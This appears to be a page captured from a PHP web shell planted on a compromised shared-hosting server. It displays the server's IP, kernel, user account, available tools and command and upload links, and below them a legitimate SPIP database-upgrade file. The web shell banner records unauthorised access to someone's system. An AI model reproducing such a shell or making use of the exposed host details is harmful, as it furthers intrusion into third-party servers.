|
Server IP : 10.111.40.2 / Your IP : 216.73.217.69 Web Server : Apache System : Linux webd002.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : comimage ( 586) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/comimage/referencement/demo/tmp/cache/fe/../../../tmp/../../ref/tmp/../ecrire/maj/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/***************************************************************************\
* SPIP, Systeme de publication pour l'internet *
* *
* Copyright (c) 2001-2016 *
* Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James *
* *
* Ce programme est un logiciel libre distribue sous licence GNU/GPL. *
* Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. *
\***************************************************************************/
/**
* Gestion des mises à jour de SPIP, versions 1.0*
*
* @package SPIP\Core\SQL\Upgrade
**/
if (!defined('_ECRIRE_INC_VERSION')) {
return;
}
/**
* Mises à jour de SPIP n°010
*
* @param float $version_installee Version actuelle
* @param float $version_cible Version de destination
**/
function maj_v010_dist($version_installee, $version_cible) {
if (upgrade_vers(1.01, $version_installee, $version_cible)) {
spip_query("UPDATE spip_forum SET statut='publie' WHERE statut=''");
maj_version(1.01);
}
if (upgrade_vers(1.02, $version_installee, $version_cible)) {
spip_query("ALTER TABLE spip_forum ADD id_auteur BIGINT DEFAULT '0' NOT NULL");
maj_version(1.02);
}
if (upgrade_vers(1.03, $version_installee, $version_cible)) {
spip_query("DROP TABLE spip_maj");
maj_version(1.03);
}
if (upgrade_vers(1.04, $version_installee, $version_cible)) {
spip_query("ALTER TABLE spip_articles ADD accepter_forum VARCHAR(3)");
maj_version(1.04);
}
if (upgrade_vers(1.05, $version_installee, $version_cible)) {
spip_query("DROP TABLE spip_petition");
spip_query("DROP TABLE spip_signatures_petition");
maj_version(1.05);
}
}
